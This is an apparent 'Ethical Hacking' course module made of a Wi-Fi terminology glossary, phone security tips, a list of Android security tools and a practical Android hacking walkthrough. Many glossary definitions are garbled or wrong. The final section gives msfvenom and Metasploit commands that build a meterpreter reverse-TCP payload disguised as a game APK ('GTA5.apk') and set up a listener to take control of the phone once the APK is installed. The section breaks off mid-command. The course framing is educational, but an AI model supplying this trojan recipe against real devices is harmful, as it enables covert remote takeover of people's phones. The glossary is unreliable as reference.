Ethical Hacking

Module – 7

- **Wireless Terminologies**

Wi-Fi Terminologies used to acquire best result from wireless technology. It is used to get better understanding to know how and what technology works. There are various terms used as WIFI Terminologies as under.

Gigahertz

The unit of Gigahertz is GHz which is used to represent frequencies as billions of cycle per second and used for measurement of other frequencies. It is used with Wi-Fi wireless network as computer performance and radio frequencies. Gigahertz also used to measure clock speed of CPU therefore it is work as a band of electric spectrum. Today's' new technologies operate on S-band Satellite like Bluetooth etc.

WiBro (Wireless Broadband)

WiBro is the extended version of Wi-Fi because it has no direct connection with WiBro. It is a wonderful and latest technology of mobile broadband. Wi-Fi operates on 802-11. WiBro design for the purpose of connectivity while on move.

Wi-Fi Hotspot

Through Hotspot people connect to internet on public places. There are lots of devices set up with wireless network card such as note books, laptop, handsets etc. These all devices designed to connect with surrounding areas via Wi-Fi network. The places where network available for public use is called Hotspot. It is available in café, restaurant, airport, universities, libraries, ground etc.

Wi-Fi Finder

Wi-Fi Finder is a helpful device used to find a network in certain areas for public use. Now your laptop battery never ended because Wi-Fi Finder find a network quickly. The size of Wi-Fi Finder is very small like a mouse device. When a user turns on Wi-Fi Finder it automatically start search or wireless network and if succeed it on its LED and ask for connection. There is various version of Wi-Fi Finder with specific features and can enhance the range and connection capabilities.

Access Point

Hotspot and Access Point are almost same also known as WAP. Access Point used to connect communication devices collectively. Generally, WAP used to connect wired network. It also provides interface between both wired and wireless devices.

Bandwidth

Bandwidth is an important term of Wi-Fi network because it describes the amount of information that may be broadcast over connection which is bits per second or megabits per second.

Analogue phone

Wi-Fi analogue phone used transmit signal from the voice phone. It also creates original signal of images and videos.

Antenna-Directional

Antenna-Directional used to broadcast and obtain radio waves off the obverse of the antenna.

Antenna-Omni-directional

Antenna-Omni-directional used to broadcast and receives radio waves. It is used to get waves from all sides and the area is spherical with the centre antenna.

Circuit switching

The setting of circuit switching in open circuit between users is only possible with Circuit switching. Therefore, a user can use full circuit awaiting the connection is unconfined.

Interoperability

Through interoperability all type of software and equipment can be operate properly even in the mixed area of hardware and software. It is possible by IEEE 802.11.

GSM

GSM is the universal system used for mobile transportation for wireless network worldwide. This standard mobile phone industry in Europe.

ISDN

ISDN is an integrated services digital network. ISDN is used to emerge network expertise provided by local phone companies, voice processing system.

ISM Band

ISM Band used in medical, science, and instruments with different radio frequencies.

Packet Switching

Packet Switching is a technique used to sends data in packets through a wireless network from remote sites. There is no circuit absent release on an enthusiastic basis.

Pocket PC

Pocket PC is a useful term by Microsoft and used to support handheld computers.

There are many other Wi-Fi terminologies such as chipset that switch background task. Fire-wire used as small DVD camera and external storage device for data transfer etc.

- **Types of Wireless Antenna**
  - ✓ Omni Directional Antenna
  - ✓ Semi Directional Antenna
  - ✓ Highly Directional Antenna

- **How to secure your mobile phone**
  - ✓ Use strong passwords/biometrics
  - ✓ Ensure public or free WI-FI is protected
  - ✓ Utilize a VPN
  - ✓ Encrypt your device
  - ✓ Install an Antivirus application
  - ✓ Update to the latest software
  - ✓ Be discerning
  - ✓ Keep backups

- **List of Android Phones Security Tools**
  - ✓ ImmuniWeb MobileSuite
  - ✓ Zed Attack Proxy
  - ✓ QARK
  - ✓ Micro Focus
  - ✓ Android Debug Bridge
  - ✓ Codified Security
  - ✓ Drozer
  - ✓ WhiteHat Security
  - ✓ Synopsys
  - ✓ Veracode
  - ✓ Mobile Security Framework (MobSF)

- **Perform practical Android phone hacking**

Terminal: msfvenom –p android/meterpreter/reverse_tcp LHOST=Localhost IP

LPORT=LocalPort R > GTA5.apk
now you can locate your file on the desktop with the name GTA5.apk.
Terminal: msfconsole -q
Terminal: use exploit/multi/handler
set pa
Next, set the options for payload, listener IP (LHOST) and listener PORT(LPORT). We have used localhost IP, port number 4444 and payload android/meterpreter/reverse_tcp while creating an .apk file with MSFvenom.
Terminal: run

Download the GTA5.apk file and install it with “unknown resources allowed” on the Android device.
Move back to Kali Linux

We already started the multi/handler exploit to listen on port 4444 and local IP address. Open the multi/handler terminal.